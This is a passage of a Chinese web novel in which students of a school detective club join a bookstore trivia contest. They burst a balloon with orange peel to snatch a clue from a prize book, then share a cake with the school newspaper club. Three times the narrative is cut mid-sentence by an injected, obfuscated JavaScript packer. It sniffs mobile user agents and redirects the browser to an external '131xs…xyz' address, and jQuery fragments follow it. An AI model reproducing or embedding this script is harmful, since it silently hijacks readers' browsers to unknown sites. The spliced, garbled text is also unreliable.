但是,两人都没有发言表示自己有看见过对方,这对于自证清白并不有利。
那么,这只能说明,柯烛辉当时不在二楼走廊。
同时,据栗依雏转述的航模协会证词,没有男生从旧校舍出来。
也就是说,柯烛辉也不在一楼。
此外,掠夜彗星在那段时间里,上三楼逛了一圈,但也没有提到自己看见过柯烛辉。
柯烛辉不在三楼走廊。
如果柯烛辉在北梯楼梯间,他回到201朝闻社的路上,必然会经过204启幕社和202拾花社,但这两个没拉窗帘的社团却没有任何目击报告。
柯烛辉不在北梯楼梯间。
这样一来,他所在的位置只剩下了一个——
正是南梯楼梯间。
在那段时间里,还有一个自称待在南楼梯间的人——
艾怡芊。
而当时的艾怡芊,正处于因血腥味而极度不适的糟糕状态。
从柯烛辉此时此刻的反应来看,在那一天,他绝对看到了些什么……
有关艾怡芊不愿被人看见的那一面。
尽管柯烛辉仍然不肯开口,按照我的个人经验,以及艾怡芊临走前的那副样子,我也能猜到——
那一定是些不愉快的表现。
学校就应该把EMDR贴墙上宣传,比那些无聊到要死的垃圾心理课有用多了。
“……O……A,”谭深还在那边翻译,“最后这个8……”
“是H。”艾怡芊已经帮他解出来了,“A,R,K,N,O,A,H。”
“……”
我似乎听到了谭深希望破灭的声音。
“先别放弃,等我查一下。”艾怡芊劝慰的声音传来,“说不定真有这个单词呢?”
时间差不多了,他这一查,肯定马上就能找到那本书。
“你看到了什么?”我对沉默的柯烛辉重复了一遍我的问题,“艾怡芊怎么了?”
柯烛辉迟疑了片刻,飞快地向艾怡芊的方向瞥了一眼,垂下目光。
“我看到……”
他把桌上的笔拿了起来,在手中摆弄着。
“我看到他拿着本书……他……”
我叹了口气。
“撒谎。”
柯烛辉被呛住了。
与此同时,艾怡芊的脚步声由远及近。
“杜苓瑛,我们已经解出来了。”
他语气轻快,但也悄悄带了点疑惑。
“你们在说什么?”
……
我一直盯着柯烛辉的目光移开了。
算了,反正问不问都一样。
我如是想着,便转过头去……
28.(7)挑战中的挑战
“啊,没什么。”
面对我的询问,杜苓瑛笑着耸了耸肩。
“我只是在问柯烛辉同学,他有没有确认过,那本书是否还在书店里。”
“呃……对。”柯烛辉愣了片刻后,也回答道,“我十分钟前去看过,那本书还在,而且那张写着地点名称的纸也夹在里面。”
“那就行。”我把手机上显示的搜索结果展示给杜苓瑛看,“我们解出来的单词是Arknoah,也就是这本书——”
乙一所著的《我所创造的怪物》。
“它虽然有分第一部和第二部,但既然没给额外的备注,谜题的答案应该指第一部。”我解释道。
“这次总没错了。”谭深信心满满的声音从身后传来。
“那我们现在就去找这本书吧。”杜苓瑛催促着,率先动身,“已经五点十五分了,我们得抓紧!”
于是,我们便通过书店配有的索书机,找到了这部书的所在书架,然后……
那是一个半人高的书架,上面挂着一个“折扣促销”的牌子。
但书架里是空的。
“柯烛辉不是说他十分钟前还确认过的吗?”
杜苓瑛目瞪口呆。
“我也没记错位置啊?”谭深也被惊了一下,对着手中的便签纸反复确认。
这时,一位店员从我们身旁经过,我连忙叫住她。
“您好,”我急切地发问,“请问这个书架里的书都去哪了?”
“哦,这些书啊……”店员想了想,“刚被搬下去外面了。”
她微笑着解释:“我们店内要举行百科知识挑战活动,这些书被拿去当成奖品了。”
我整个人都僵住了。
“那这个活动在什么时候举行?”谭深带着期望追问。
“嗯……”店员瞥了眼墙上的挂钟,“就在十分钟之后。”
她回答完后,便径直离开,留下面面相觑的我们。
“我们……”
杜苓瑛率先打破沉默,笑容苦涩。
“不会真要去参加那个百科知识挑战吧?”
“先去找柯烛辉,跟他通融一下。”谭深朝文创咖啡厅的方向快步走去,“如果我们解对了,他应该会直接把地点告诉我们。”
然而,文创咖啡厅中,柯烛辉的身影已经消失不见了。
“……”
谭深似乎没招了。
“……好了,各位顾客朋友们,时间差不多了,还有人要参加吗?”
主持人声音的声音隐隐从窗外传来。
“本次挑战设有三个关卡,每通过一关,就能获得一份相应的奖品……”
杜苓瑛率先走向咖啡厅的窗户,把脸贴在上面往下看。
“……一个关卡结束后,参加挑战的朋友们可以选择带着奖品离开,也可以继续参与下一个环节,冲击最终奖品……”
我也走上前去,透过窗户,看见了楼下正在介绍规则的主持人。他身后摆着一张长桌,桌腿系有六个带字的红色气球,将“百科知识挑战”这个活动名称在主持人头上高高飘扬。
“……但是,如果出现答题错误的情况,就立刻会被淘汰,并取消之前获得的所有奖品哦……”
主持人身后的桌子上,摆满了各种各样的东西——左边放了堆成山的盒装砂糖橘,右边放了数十袋月饼,中间则摆了十几本书。
“……通过第一个关卡的朋友们,每人能获得一盒砂糖橘;通过第二个关卡的朋友们,每人能获得一袋月饼……”
“啧,”杜苓瑛咂了咂嘴,“书要等到挑战的最后一关才有吗?”
“……通过最后一个关卡的朋友们,每人可以在这些书中任选两本,并获得古芳书店五十元优惠券。每个关卡的时长大约为二十分钟……”
“就算我们成功通关了所有关卡,太阳也早就落山了。”我感到一阵心烦,“要不我们进去那块地后,找个借口翻一下书……”
“……欸,这位大哥。”仿佛是在回应我的话似的,主持人拦下了一名靠近长桌的男子,“这些书暂时还不能碰哦——就算翻一下也不行。”
趴在窗边的杜苓瑛看上去有些哭笑不得。
“实在不行,我们就用点邪招吧。”谭深提议道,“假装不小心把水洒上去,然后买下那本书。”
说着,像是为了提前考察,他把手机镜头对准桌上的书,并放大画面——
那本我们要拿的《我所创造的怪物》,被放在了接近桌子中央的位置,四周都围有其它书。
“你很难把水精准洒到那本书上吧?”
我看着他手机上的画面,不太赞成这个邪门方案。
“它与桌子边缘的距离太远了。要是你真的洒了水上去,一眼就能被看出是故意的。”
“是啊,万一被别人拍下来就不好了。”杜苓瑛叹了口气,“一定会引来网暴的。”
震惊,三名高中生竟在某书店活动中,故意把水洒在书上,事情后续令人震惊……这样的新闻标题已经出现在我眼前。
“那我们直接把付款码怼主持人面前吧?”谭深继续出着邪招,“跟他说,‘男人,你的书成功引起了我的注意’。”
假想的新闻标题变成了:神秘高中男子竟当众向一本书求爱,网友评论醉翁之意不在酒……
“……深哥啊,你能想个靠谱点的方法吗?”杜苓瑛一脸无语。
谭深自暴自弃似的嗤笑几声。
“大喊一声‘我是潜龙中学高一级柯烛辉’,然后冲上去抢书。”
官方通报!书店活动中的发疯男子并非柯某,目前警方仍在全力调查……
“你这方法还不如上一个体面呢。”我吐槽道。
“我倒是觉得可以,”杜苓瑛阴森森地笑着,“可以报复一下那个出题不考虑外界干扰的家伙。”
“但这个报复会把我们也搭进去吧?!”
“宁愿损己一千,也要伤人八百。”杜苓瑛乐呵呵地放着狠话,“不过,如果你们既不想损己,也不愿伤敌的话……”
她从窗玻璃上抬起脸,轮流看着我和谭深,眼神闪闪发亮。
“我有一计!”
“好了,在场的67支队伍,以及各位观众朋友们!五、四、三……”
场地被以中央的长桌为界,划成了两部分,每一边都站满了参赛选手。长桌前方,主持人正兴高采烈地念出倒计时,鼓动着观众们的热情。
“……二、一!挑战开始!”
此时此刻,我和艾怡芊成了参赛选手中的一组,站在了场地中的双数号码区,衣服上贴着“48”的号码。
“欸,靓女。”在我们前面不远处,一位大娘正对杜苓瑛再三提醒,“咱们说好了啊,通过第一关,拿到砂糖橘就走。”
“好的好的。”贴着“28”号的杜苓瑛不知第几次答应道,“阿姨您放心吧,我不会贪心继续往下挑战的。”
“……现在是挑战的第一个关卡——蹲起博弈!”
主持人继续解说道。
“题目类型为选择题,每道题有五秒钟时间作答。如想选A,队伍中的两位选手都要为站立状态;如想选B,则两位都要蹲下;如想选C,就需要一位选手蹲下,另一位站着……”
“靓女,我这个老家伙比较蠢,到时候都靠你了啊!”
主持人的介绍声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115133|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中,和杜苓瑛一组的大娘仍在絮絮叨叨。
“好的阿姨。”杜苓瑛敷衍着,偏头朝我们使了个眼色。
答题过程中,三人互相帮助,谁知道答案就立刻告诉另外两人——这是我们在参赛前定好的规矩。
我冲她微微点了下头,表示自己做好了准备。
“现在请听第一个问题!”
主持人眉飞色舞,夸张地翻开手中的提词小册子。
“三国时期,吴国的建都地点建业,是在如今的哪一个城市呢?”他故作疑问地歪了歪头,“A,南昌。B,南京。C,长沙。请答题!”
他按下计时器的一刻,杜苓瑛茫然地转过头来。
“滴——滴——滴——”
倒计时中,我感到肩膀被按住了——艾怡芊摁着我一起蹲下。
“快点。”他用口型催促着杜苓瑛。
“……滴——滴!”
在主持人喊出“时间到”之前,杜苓瑛总算和那位大娘一起蹲下了。
“答案是B,南京!”主持人公布了正确答案,“现在请工作人员统计过关队伍……”
“幸好有个认真背历史的人。”听到过关的消息,我松了口气,对身旁的艾怡芊笑了下。
“他不可能那么多题都考历史。”艾怡芊苦笑着摇摇头,“我基本没什么课外知识,接下来还是得看你俩。”
“第二题,以下哪句英文表示了下大雨的意思?”
被淘汰的队伍离场后,主持人继续提问道。
“A,rain on someone’s parade 。B,feel right as rain。C,rain cats and dogs。”
“哎呀……怎么都是英文啊?”大娘又开始念叨,“这我怎么会呀?!”
“这题选C,阿姨您不用动。”杜苓瑛一边说着,一边蹲了下去。
就算我听英语课的认真程度和历史课一样,我也记住了这个过于形象的短语,率先蹲了下去。
“好的,接下来是第三题……”挑战继续进行着。
爵士乐的根基之一是蓝调,“纤云弄巧,飞星传恨”的作者是秦观,螃蟹与柿子一起吃会造成消化不良……
我们三个通过互相接济,总算答对了全部选择题,闯过了第一个关卡。
“恭喜在场的29支队伍通过第一关!”
主持人看上去比选手们还激动,朝身后的长桌一指。
“请想离开挑战的队伍上前排队领奖,决定参加下一关的队伍则可以在原地休整……”
“欸,靓女!我们不参加了啊!”
大娘像是怕杜苓瑛反悔一样,拽着她的左胳膊使劲摇晃。
“好好好……”
杜苓瑛看上去被抓得很痛,整张脸都扭曲了。
“我知道了,阿姨您先放开吧!”
但那位大娘还是紧紧揪着杜苓瑛,把她往那条领奖队伍拉了过去。
“嘶……”杜苓瑛似乎在强忍着骂街的冲动。
“……”艾怡芊似乎很想冲上去把那位大娘推开。
大约五分钟后,抱着盒装橘子的杜苓瑛出现在长桌旁边。
走出场地之前,她回过头,盯着我们看。
一切按计划进行。
她的眼神如是说道。
我冲她比了个大拇指,并瞥了眼渐暗的天色。
加油!注意时间——这是我想表达的意思。
杜苓瑛冲我们一笑,便转头挤入了拥挤的人群中。
好了,接下来就要进入整个计划最关键的部分了。
“但愿她能成功……”我喃喃道。
29.(8)勇敢去做
“各位朋友们,现在是本次挑战的第二个关卡——极限选择!”
主持人神采奕奕地扬起手臂,摆出招揽的姿势。
场地上只剩下了22支队伍,并全部站在了长桌前方的区域。
“本关的题型为判断题,每题有五秒钟的答题时间。如认为题目正确,选手们无需移动;如认为题目错误,则选手们需要跑到长桌另一边的区域……”
“我们等会找个机会,换个更靠近长桌的位置。”
音响的嘈杂声中,艾怡芊侧过头扫了我一眼。
“杜苓瑛动手后,我去拿书,你帮忙掩护一下。”
我瞥了眼长桌上的书,在脑海里预想了一下行动。
“没问题。”计划完后,我应下声来,并做好了随时冲刺的准备。
夺书计划,正式开始!
“……现在请听第一题,”
站在我们目标前的主持人开始宣读问题。
“外出旅游时,很多人都会选择坐飞机这种耗时短的出行方式……”
趁他还没有读到关键部分,我朝右上方二楼餐厅的窗户抬头望去——
杜苓瑛的身影出现了。
“看来她已经就位了。”艾怡芊也注意到了。
“……那么,各位选手们,”主持人读题的声音仍在持续,“飞机行驶的地方在对流层,对还是错?”
错!
计时器被按下的一瞬间,我和艾怡芊一齐向对面的区域跑去,抢先站在了离那本书最近的位置。
“快看!”我刚停下脚步,艾怡芊就立刻急声唤我,“二楼那边!”
我忙顺着他的视线方向望去——
只见杜苓瑛已经打开了窗户,把上半身探了出来。
她低头看向我们,晃了晃手中的东西,眼神坚定。
三……
她用手势冲我们比着倒计时。
二……
我和艾怡芊一同俯下身子,作出准备向前跑的姿势。
一!
杜苓瑛奋力掷出了手中的东西。
而在这最后一秒的瞬间,她在书店咖啡厅讲述计划的画面,再一次浮现于我眼前——
“我们先去参加那个百科知识挑战。”
杜苓瑛倚在窗户上,满脸庄重地吩咐。
“等通过第一关后,我就离开,你们两个留下继续挑战……”
“你要拿奖励给你的砂糖橘贿赂主持人吗?”
“你有病吧?”杜苓瑛剜了我一眼,“但你倒是说对了一半,我确实要用那盒橘子……”
说到这,她略带得意地翘起嘴角。
“我要用它制作生化武器!”
“……啊?”
和我一样,艾怡芊一脸迷惑。
“没错,生化武器,用来转移注意力的。”杜苓瑛兴冲冲地重复,“你们看那——”
她指向窗外——
熙攘的人群,热情的主持人,堆满奖品的长桌,以及……
在长桌上方漂浮着,写有活动名称的六个气球。
对了!气球遇到橘子皮汁后,会……
“艺术就是爆炸!”
杜苓瑛雀跃着欢呼,看上去对这个方案十分满意。
此时此刻,杜苓瑛口中的生化武器正在我的视线中落下,于半空中旋转着,划出一道橙色的弧线。
望着那片因阳光而闪闪发亮的橘子皮,我在屏住呼吸的同时,思绪忍不住又闪回了先前的担忧——
“你想去扔橘子皮?”
面对我的自荐,杜苓瑛似乎并不看好。
“我觉得我扔东西比较准。”我解释道,“而且就算在楼上,该给提示时我还是会给的……”
“不不不,我担心的不是这个。”
杜苓瑛打断我,往对面的二楼餐馆一指。
“根据你刚才拍的照片,那本书离这边更近。所以,为了把注意力转移得更远,我们要去那座餐厅扔橘子皮,打爆对面的气球。”
她敲敲窗玻璃:“你看看那边的窗户。”
窗户整体偏窄小,且位置比较靠下。
“你在那上面的姿势会很别扭吧?”杜苓瑛指出。
……好像确实如此。
“所以,”她一拍胸脯,“还是我来吧。”
她继续讲述着安排:“你们记得时刻观察我的行动,听到爆炸声就立刻上去翻书。气球这一爆,其他人的注意力至少会被分散三秒,你们一定能成功的!”
“……”对于杜苓瑛的自信,艾怡芊的表情有些微妙。
尽管他没有出言质疑,我也能猜到他在想什么——
中午吃三明治那会,杜苓瑛试了多少次才把包装纸扔进垃圾桶啊?
眼前的橘子皮在人群上方划过,逐渐接近目标气球……
拜托了……我在心中疯狂祈祷着。
一定要打中啊!
于是,在我的期待中,橘子皮精准地命中了气球——上面的灯笼。
我的眼睛一下子瞪大了。
受到冲击,橘子皮被反弹开来,往地面落去。
“正——确——答——案——是——”
在我的紧张与恐慌中,主持人的声音仿佛被拉长了。
“啪叽!”
橘子皮落在了一位大叔的光头上。
“错——误——”主持人公布答案的同时,也无意中概括了杜苓瑛的行动。
完蛋了……
这个想法刚从我脑中冒出来,那位大叔就立刻向头顶摸去,同时表情发生变化——
惊讶,疑惑,愤怒。
紧紧捏着手里的橘子皮,大叔吹胡子瞪眼地抬头,准备望向楼上。
我瞠目结舌,感觉脊背瞬间变得冰凉。
因为,在那个窄小的窗口中,一脸惊恐的杜苓瑛还未来得及缩回去。
而就在这千钧一发之际……
“啊哈哈哈哈哈——”
一阵高亢的笑声突然冲击了我的耳膜。
我被吓了一跳,下意识转头看向声音来源,即刻受到了更大的惊吓——
艾怡芊张开双臂,脸上带着张狂的笑容,一副动画片反派的样子。
“我就知道,我堂堂不死邪神,绝不会轻易倒在这种地方!”
世界仿佛安静了几秒,就连主持人的话音也顿住了。
我还愣在原地,小腿突然传来一阵抽痛——艾怡芊踢了我一脚。
我顿时反应过来。
“啊哈哈哈哈哈——”我也摆出了和艾怡芊一样的姿势,“这就是我九幽魔尊的力量,更是我们血渊战盟的力量!”
说着,我瞥了眼大叔,见他正直勾勾地瞪着我们看。
而楼上的杜苓瑛已经成功缩回去了。
作为推理社的社长,以及侦探团的团长,我可真是位有难同担、尽职尽责的大善人啊。
在人群的寂静中,我拼命用上述说辞安慰着自己。
主持人你说句话啊!不要用看精神病人的眼神盯着我们啊!!!
我僵着身子保持反派姿势,同时感觉自己已经死去一半了。
“哎呀……”终于,人美心善帅气潇洒的主
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123794|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
持人说话了,“看来我们这里驾到了两位不得了的大人物呢。”
他夸张地摆出惊讶和钦佩的表情,对着话筒继续说了下去……
“那么,血渊战盟的两位是否能坚持到挑战最后呢?让我们拭目以待吧!”
不要捧杀啊……放过我吧……
话说他是怎么记住那个战盟名字的啊?!这就是主持人的专业素养吗?
“好了,让我们进入第二题!”
主持人呼喊着,让观众的注意力重回正轨——感谢您!!!
“目前,全球变暖现象持续加剧,造成了两极地区冰川的大面积融化,这使得北极熊等极地动物的生存更加艰难……”
“我要杀了柯烛辉。”主持人的环境保护宣传中,艾怡芊低声咒骂着。
“同感。”我咬牙切齿地附和道。
“……请问——北极熊的毛发并不是白色,而是其它颜色,这句话是对还是错?请答题!”
……啊?
我对这方面的知识一无所知。
在我身旁,艾怡芊也是一脸茫然。
计时器被按响了。
“滴——”
“是对的吧?”倒计时中,我小声向艾怡芊征求意见,“我们别动?”
北极熊一眼看上去就是白色的,但主持人却说它的毛发不是白色。在知识匮乏的情况下,这种否定认知的说法显得格外有道理。
但周围陆续有几支队伍跑了过去。
“滴——”
“嗯……”艾怡芊迟疑着,瞥了下奔过去对面的队伍,又看了眼身后占选手总数大多数的人们。
“滴——”
时间紧迫下,他似乎拿定了主意。
“那我们……看!”
话说到一半,艾怡芊突然朝楼上一指——
二楼餐馆的窗口中,出现了杜苓瑛的手。
她比了一个叉。
“滴——”
我刚看清这个动作,手臂就立刻被艾怡芊抓住了——
在倒计时的最后一秒,他紧拽着我,向表示错误的对面区域冲了过去。
“滴!”
倒计时结束的提示音响起时,我们堪堪冲过了长桌。
“哇哦——”主持人惊叹道,“血渊战盟的两位竟然在最后一秒改变了注意,那么他们的选择是否正确呢?”
我感觉自己这辈子都不想听到“血渊战盟”这四个字了。
“本题的答案是——错误!包括血渊战盟在内的16支队伍答对了!”
“呼……还好……”人群的欢呼声中,我心有余悸地喘着气,“杜苓瑛竟然还知道这种知识。”
“她对熊科动物很感兴趣。”艾怡芊抹了抹额上的汗。
然后,他休整的动作顿住了——
楼上的杜苓瑛再次探出了上半身,手中握着第二片橘子皮。
“她又要动手了?”艾怡芊满脸担忧,“这次不会又失败吧?我不想再演第二次不死邪神了!”
我也不想再演第二次九幽魔尊了。
在我们二人紧张且惊恐的视线中,杜苓瑛猛地把手臂往外一伸——
她把那片长长的橘子皮放在了挂灯笼的钢丝上。
“啊?”我和艾怡芊都惊住了。
呈长条状的橘子皮挂在了钢丝上,并按照钢丝倾斜的角度往下滑动。
最后,它撞在了灯笼上,因冲击力而掉下了钢丝——
正好落在了目标气球上。
还能这样干?!!
在我目瞪口呆的惊叹中,气球爆炸了。
30.(9)奔跑吧!
“嘭——”
第一秒。
主持人的惊呼声通过话筒放大,我和艾怡芊一齐作势被吓到,摆出寻找掩体的样子,向长桌冲了过去。
第二秒。
人们表示惊讶或疑惑的喊声此起彼伏。在这片喧闹之中,艾怡芊一把抓起了那本《我所创造的怪物》。
我则扑到他身旁,尽量挡住他飞速翻书的动作。
第三秒。
人们仍抬头观望着气球破碎前的位置。
我把视线从人群上收回后,正巧看见那翻飞的书页中,一张纸片掉了出来。
我眼疾手快地抓住了那张纸。
“天哪!”
主持人不愧是专业的,被短暂吓了一跳后,又迅速回到了工作状态。
“观众们的热情太火爆了,都把气球给挤炸了!”
他又低头看向蹲在长桌旁边的我们两个——那本书已经被艾怡芊迅速放了回去。
“哎呀,和大家一样,不死邪神和九幽魔尊好像也被吓坏了呢……”
够了!他到底是怎么记住那些中二到爆的名字的啊?!!
“好了好了,再为气球哀悼后,让我们来到下一题吧!”
主持人如是说着,总算放过了我们。
“我们都知道,在城市道路上,无论是哪种交通工具,都应该遵守交通规则……”
我顾不上看手中紧握着的地址,只是专心听着问题。
为了迅速离开这个是非之地,这一题,我们必须答错!
“……问题来了,在无道路中心线的城市道路上,摩托车的最高限速为30公里/小时,对还是错?”
艾怡芊愣住了。
计时器被按下。
“艾怡芊!”我大喊着,一把拽住他,“跑!”
倒计时尖锐的鸣叫声中,我们再一次冲向了对面的区域。
如此同时,攒动的人群中,出现了杜苓瑛满是担忧的脸。
“滴!”
“时间到!”主持人高呼着,“答案是……”
他突然顿住不说了,只留下一个意味深长的笑容。
快说啊!
我在心中催促着,急得头上冒汗。
别卖关子了!时间不多了!!!
“正确!”主持人兴奋地喊出正确答案。
夺书计划,成功!
我比那些答对的选手们还要激动。
“让我们恭喜剩下的队伍……”
主持人的话音中,我对艾怡芊使了个眼色,准备和他偷偷溜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123795|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走。
“……28号……9号……咦?”
主持人的声音顿住了——他的目光落在了场地边缘的我和艾怡芊身上。
“哎呀,真遗憾。”他笑着调侃道,“不死邪神和九幽魔尊失败了呢!”
我们都失败了,您就放过我们吧!
于是,在人群的哄笑声中,我们狼狈地离开了。
事后我一定要好好找柯烛辉算账!!!
“你们拿到地址了吧?”
艾怡芊和谭深刚从人群中挤出来,我就立刻迎了上去。
“快看看在哪?”
“等会儿……我喘口气……”谭深一副遭受巨大打击的样子,无力地递出手中的纸,“你帮忙查吧……”
我忙把纸扯了过来,展开一看——
“墨荫咖啡馆”。
我立刻在手机地图上输入这个地名。按下搜索键后,具体的地点位置及路线跳转出来。
“只能步行,我们需要大约半小时到……”
离开了建筑物和榕树的遮挡,我惊觉自己的影子已经拉的老长。
“不会吧……”我颤抖着抬起头,心中大喊不妙。
远处,血色的太阳正在极速西沉,给城市中的一切都抹上了黄金色的余晖。
31.(10)云云遮月
“我都说了他们绝对不会满意的吧。”
看着毫无惊喜的我们三个,范晚枫苦笑着把手一摊。
“有什么不满意的?”杏流玥不服气地插起腰,长发在她身后摆动着,“这可是我和泽墨梓忙活了半天的手艺!”
“先抛开好不好吃的问题,分这个蛋糕的还有我们五个。”容柃有些尴尬地推了推眼镜,“这样一来,每人大概只能分到……”
他伸出手,在空气中比划了一下,脸上的笑容更加僵硬。
“……这么多。”
“……”我无力地看着容柃用手围出来的体积,转向谭深,“下次再遇到这种惊喜奖励,你还是先问清楚吧。”
“我会的,”谭深咬牙切齿地盯着蛋糕,”我不想再用一天的奔波去换一块蛋糕了。”
“而且还是奶油啊……”讨厌奶油的杜苓瑛也近乎崩溃。
“放心,不是奶油啦。”
范晚枫好心提醒,把杜苓瑛从崩溃边缘拉了回来。
“上次聚会时我就听到你说自己讨厌奶油了,所以我专门没让他们做。”
“没错,”泽墨梓已经把塑料刀拿来,准备分蛋糕了,“这是范晚枫吩咐的冰淇淋蛋糕啦!各位快抓紧吃吧,不然就要化了!”
“哦,那就好。”杜苓瑛随即振作起来,“冰淇淋跟奶油完全是天壤地别的两样东西!”
“可是……”柯烛辉试探般地指出,“冰淇淋不也是奶油吗?”
“严格意义上讲,是的。”杜苓瑛头也不回地答道,兴冲冲地注视着蛋糕被慢慢切开的过程,“但不一样,不一样啦!”
“对啊。”摆盘子的范晚枫也认真地点头,“不一样,不一样——”
“别在乎这个一不一样的问题了!”
谭深无情打断了范晚枫的圆场。
“就算不一样,杜苓瑛你也不能被这点冰淇淋就收买了啊!我们可是耗费了整整一天的精力啊!”
“我赞成。”自从演完不死邪神后,我对这个挑战的感想就只剩下了疲惫。
“或许……”面对谭深和我的依依不饶,毛约椿笑了笑,“我们可以……”
他慢条斯理地把话说完:“再追加一个奖励。”
“哦?”
谭深的恼怒顷刻间缓和了。
“啊?什么奖励?”拿叉子的杏流玥疑惑地歪了下头,“再做一个蛋糕?”
“不,”容柃纠正了她,“是再加一个栏目。”
“栏目?”谭深不解地皱眉,“什么栏目?”
但与他的不解相比,朝闻社的其他人反应可就大多了——
*
“加……加栏目?!”
泽墨梓立刻把塑料刀从蛋糕里抽了出来,在空中威胁般地挥舞着。
“社长你开玩笑的吧?咱们《致织校报》的工作量已经够大了!我才不干呢!”
“哦……”
在泽墨梓的吵嚷中,我顿时明白过来。
“难道你们想……在朝闻社校报上专门加一个栏目,来宣传我们侦探团和推理社?”
“正是,”容柃点头朝我一笑,“就和华生干的事一样。毕竟我对你们的推理日常也很感兴趣。”
“嗯……”谭深总算重新露出了笑容,“这倒是不错。”
“不不不,我有意见!”泽墨梓仍在挥刀抱怨着,“我不想再干多一份采访工作了,太累了!”
“那么……”容柃偏头避开从泽墨梓刀上飞来的蛋糕沫,转头看向另一位,“这个栏目的负责人就由你来做吧!”
容柃微笑地注视着他钦点的人选。
“……啊?”
在桌上趴着的柯烛辉愣住了。
“让我来负责?”
“给他们开了地狱难度的是你嘛。”杏流玥一针见血地指出。
“呃……”柯翔羽似乎不太情愿,但又想不出怎么反驳,“我……”
他先是看了一眼我,然后又飞快地瞥了下杜苓瑛。
……不知为什么,我莫名觉得他有点害怕杜苓瑛。
“好吧。”
考虑片刻后,柯烛辉无奈地叹了口气,从桌上抬起头来。
“那就让我来做吧。”
“哇哦——”
柯烛辉话音刚落,杏流玥立刻起哄起来,带头鼓掌。
“加油!柯烛辉!”她像应援一样喊着,“加油!柯烛辉!”
“好好干哦!”泽墨梓也冲柯烛辉做了个鼓励的动作,“记得多挖一点他们的丑闻!”
“我会被他们报复惨的吧?!”柯烛辉当即表示抗议。
“我分好了。”
没等泽墨梓继续开玩笑,范晚枫就适时地提醒道。
“看!”他兴致勃勃地朝八个盛着蛋糕的碟子一挥手,“大家一人一份!”
“谢啦!枫哥!”杏流玥高兴地晃了晃手中的叉子,朝那些碟子一指,“侦探团的三位先请吧~”
“那我就不客气咯!”
等候多时的杜苓瑛马上拿起叉子,而谭深已经把一小块蛋糕送到嘴边了。
……这两位也太过神速了吧。
虽然这么吐槽着,但经过一天的劳累,我实在忍受不了喉咙的干咳感了。
于是,仅仅慢了他们几秒,我也把蛋糕送入了口中——
*
竟好吃到意想不到!
雪糕的冰凉细腻在口腔里蔓延开来,包裹住舌尖。紧接着迎来的,是各种水果块富有弹性的碰撞,在味蕾上爆出不同的酸甜。
嚼开果肉后,软糯香甜的蛋糕即刻跟上,垫住味觉的冲击,让人不至于感觉太甜腻。而在吃到蛋糕底部时,酥脆饼底发出令人满足的“嘎嘣”声,更是让人回味无穷。
“太好吃了吧!”杜苓瑛赞叹道,使劲舔着嘴唇。
“你们不开个蛋糕社可惜了啊。”谭深一边咀嚼蛋糕,一边露出惊奇的神情。
“哎呀……算了吧算了吧。”泽墨梓摇了摇头,探身端起盘子,“我们没那个打算啦。”
“为什么呢?”范晚枫疑惑道,眼里满是笑意,“你们做得真的超级好吃!”
“唔……比起物质食粮……”
泽墨梓刚咬了一大口蛋糕,说话含糊不清。
“……我还是更喜欢……精神食粮。”
“你指的是八卦吧。”我无可奈何地指出。
“是又怎样?八卦可比做蛋糕有趣多了!”
杏流玥吮吸着她的叉子,咯咯笑着。
“当然啦,”她又补充道,“做蛋糕也很有趣。”
“那么,”泽墨梓咽下蛋糕,又伸手去勾柯烛辉的脖子,“我期待着你的有趣侦探采访和案件记录哦!”
他再次朝柯烛辉竖了个大拇指。
“……”柯烛辉盯着泽墨梓的嬉皮笑脸,撇了撇嘴,“根本一点都不有趣。”
“怎么就不有趣了?”泽墨梓继续晃着柯烛辉,“你多了很多八卦的机会嘛——”
“打断一下。”谭深冷不丁插话道,“我能确认一下吗?”
他放下了叉子:“你们应该不会随便传播别人的信息吧?”
“……”泽墨梓脸上的笑容顷刻僵住了。
哦?谭深要算开户的账了。
“当然不会,当然不会!”面对谭深的质问,杏流玥连忙摆着手圆场,“我们朝闻社还是有原则的!”
……看来这一位多半也参与了开户行动。
“……”谭深仍然没有放松的迹象,“那你们让我怎么相信?”
泽墨梓和杏流玥对视一眼,似乎都不知道该如何是好。
“嗯……”
沉默中,容柃锐利的眼神扫了一圈。
“虽然不知道你们在说什么,”他声音沉稳,“但我可以保证,我的社团绝对不会干出这种事。”
“……是吗?”谭深挑了挑眉。
“是的。”容柃面不改色。
楼下车流的喧嚣声中,两人对视了片刻。
“……呃。”
打圆场的依旧是范晚枫。
“我和容柃在朝闻社里相处了一年,我还是挺相信他的。”
他一边向谭深赔笑,一边缓解气氛。
“而泽墨梓和杏流玥,虽然我刚认识他们一个月不到,但我也觉得他们还是有底线的,应该不会做出你担心的那种事。”
范晚枫说到这里,泽墨梓和杏流玥就立刻连连点头。
“……”
